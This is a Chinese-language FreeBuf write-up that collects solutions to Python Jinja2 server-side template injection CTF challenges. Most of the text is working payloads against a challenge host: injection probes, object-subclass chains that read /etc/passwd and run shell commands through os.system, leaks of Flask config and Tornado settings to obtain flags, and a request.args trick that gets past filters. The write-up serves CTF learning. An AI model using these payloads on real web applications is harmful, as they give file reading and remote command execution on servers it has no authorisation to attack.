python-SSTI(多种解题方法汇总)
本文由
创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载
python_template_injection
在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
判断有无模板注入
http://220.249.52.133:53362/{{7+7}}
也可能有带参数
http://220.249.52.133:53362/?name={{7+7}}
查看全局变量
http://220.249.52.133:53362/{{config}}
文件包含:是通过python的对象的继承来一步步实现文件读取和命令执行的的。思路:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。
几个魔术方法
__class__返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类//__base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__类的初始化方法
__globals__对包含函数全局变量的字典的引用
寻找可用引用
{{''.__class__.__mro__[2].__subclasses__()}}
可以看到第40个(从0开始)
有一个type file类型(可以进行文件读取)
可以看到第71个(从0开始)
有一个 <class ‘site._Printer’>类型(可以进行命令执行)
文件读取
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
//[40]是typefile类型出现位置(从0开始的位置)
命令执行
//Windows操作系统
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
//Linux操作系统
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}
//[71]为<class‘site._Printer’>出现位置
获取Flag
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
cookie_secret
error?msg={{handler.settings}}
aad1316c-1b1b-41fb-9295-77cfedeb9b1e
shrine
/shrine/{{url_for.__globals__}}
这里是代码审计,发现源码有flask.Flask
app = flask.Flask(name) app.config['FLAG'] = os.environ.pop('FLAG')
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
request绕过
适用于获得了flag路径的题目
{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
通过源码提示得到路径
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录